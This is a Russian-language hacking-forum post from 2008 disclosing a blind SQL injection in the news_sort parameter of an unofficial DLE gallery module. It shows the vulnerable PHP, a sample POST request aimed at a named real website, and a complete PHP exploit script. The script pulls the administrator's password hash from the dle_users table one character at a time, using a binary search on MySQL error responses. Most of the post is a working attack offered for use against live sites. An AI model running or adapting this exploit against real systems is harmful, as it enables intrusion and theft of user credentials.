Показать сообщение отдельно

  #28  
Старый 30.11.2008, 01:05
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами: 10240166

Репутация: 2097
По умолчанию

Blind slq-inj в модуле галерея для dle, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
PHP код:
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset(
$_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];

if (
$galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'";

$result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim"); 
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции

Пример запроса:
Код:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: www.simfilife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
Exploit:
PHP код:
<?php
 set_time_limit
(0);
 
/*-----------------------------------------------------*/ 
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
//Black Toad Team
/*-----------------------------------------------------*/  

/*-----------------Настройки---------------------------*/  
 
$good = "MySQL Fatal Error";
 
$bad = "robots";
 
$host= "simfilife.net";//указываем сайт
 
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
 
$body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
 
$index = 1;
 
$result = "";
 
$end = ",(select 1 from dle_usergroups),0)&news_msort=DESC";
 
 function 
GetMiddle($min, $max)
 {
  return 
floor($min+((($max+1)-($min-1))/2));
 }
 
 function 
post_sql($host,$path,$post_body)
 {
 global 
$end;
 
$post_body  .= $end;
 
$post_query  = "POST ".$path." HTTP/1.1\r\n";
 
$post_query .= "Host: ".$host."\r\n";
 
$post_query .= "Connection: close\r\n";
 
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
$post_query .= "Content-length: " . strlen($post_body) . "\r\n\r\n";
 
$post_query .= $post_body;

 
$sock = fsockopen($host, 80, $errno, $errstr, 30);
 
 if (!
$sock) die('Could not connect to host! ');

 
fputs($sock, $post_query);
 global 
$good;
 global 
$bad;
 
$answer = '';
 while (!
feof($sock)) {
    
$answer .= fgets($sock, 1024);
    if (
strpos($answer,$good)) 
    {
     
fclose($sock);
     return 
true;
    }
    if (
strpos($answer,$bad))
    {
      
fclose($sock);
      return 
false;
    }
 }
 
fclose($sock);
 return 
false;
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  global 
$body;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
post_sql($host, $path, $body.$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
post_sql($host, $path, $body.$index.",1))>{$max}-1"))
  {
    
$result .=chr($max);
  } else
  {
   if(
post_sql($host, $path, $body.$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

$bool = true;
while (
$bool==true)
{
 if (
post_sql($host, $path, $body.$index.",1))>0")) 
 {
  echo (
"Символ есть, идет подбор...<br>");
  
flush();
  
$ok = true;
 }
 else 
 {
 echo (
"Символы кончились <br>");
  
$ok = false;
  
$bool = false;
  echo 
$result;
 }
 
$min = 31;
 
$max = 123;
 while (
$ok == true)
 {
  
$num = GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
post_sql($host, $path, $body.$index.",1))<{$num}")) 
  {
   echo(
"Меньше $num <br>");
   
$max = $num;
  } else
  {
   echo (
"Больше $num <br>"); 
   
$min = $num;
  } 
  
flush();
 } else 
$ok = false;
 } 
}

?>
__________________
Не занимаюсь коммерцией в любых ее проявлениях.

Последний раз редактировалось l-l00K; 30.11.2008 в 01:26..
 
Ответить с цитированием